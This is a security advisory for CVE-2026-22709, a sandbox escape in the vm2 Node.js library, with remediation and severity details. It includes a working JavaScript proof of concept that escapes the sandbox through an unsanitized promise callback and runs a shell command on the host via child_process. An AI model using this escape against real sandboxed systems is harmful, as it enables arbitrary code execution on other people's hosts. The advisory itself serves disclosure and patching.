CVE-2026-22709
vm2 has a Sandbox Escape
Description
In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. ```js const { VM } = require("vm2"); const code = ` const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); `; new VM().run(code); ``` In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.
How to fix CVE-2026-22709
To remediate CVE-2026-22709, upgrade the affected package to a fixed version below.
- —upgrade to 3.10.2 or later
Is CVE-2026-22709 being exploited?
Low — EPSS is 0.1%, meaning exploitation activity has not been observed at scale.
Affected packages (1)
- from 0, < 3.10.2
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | CRITICAL9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |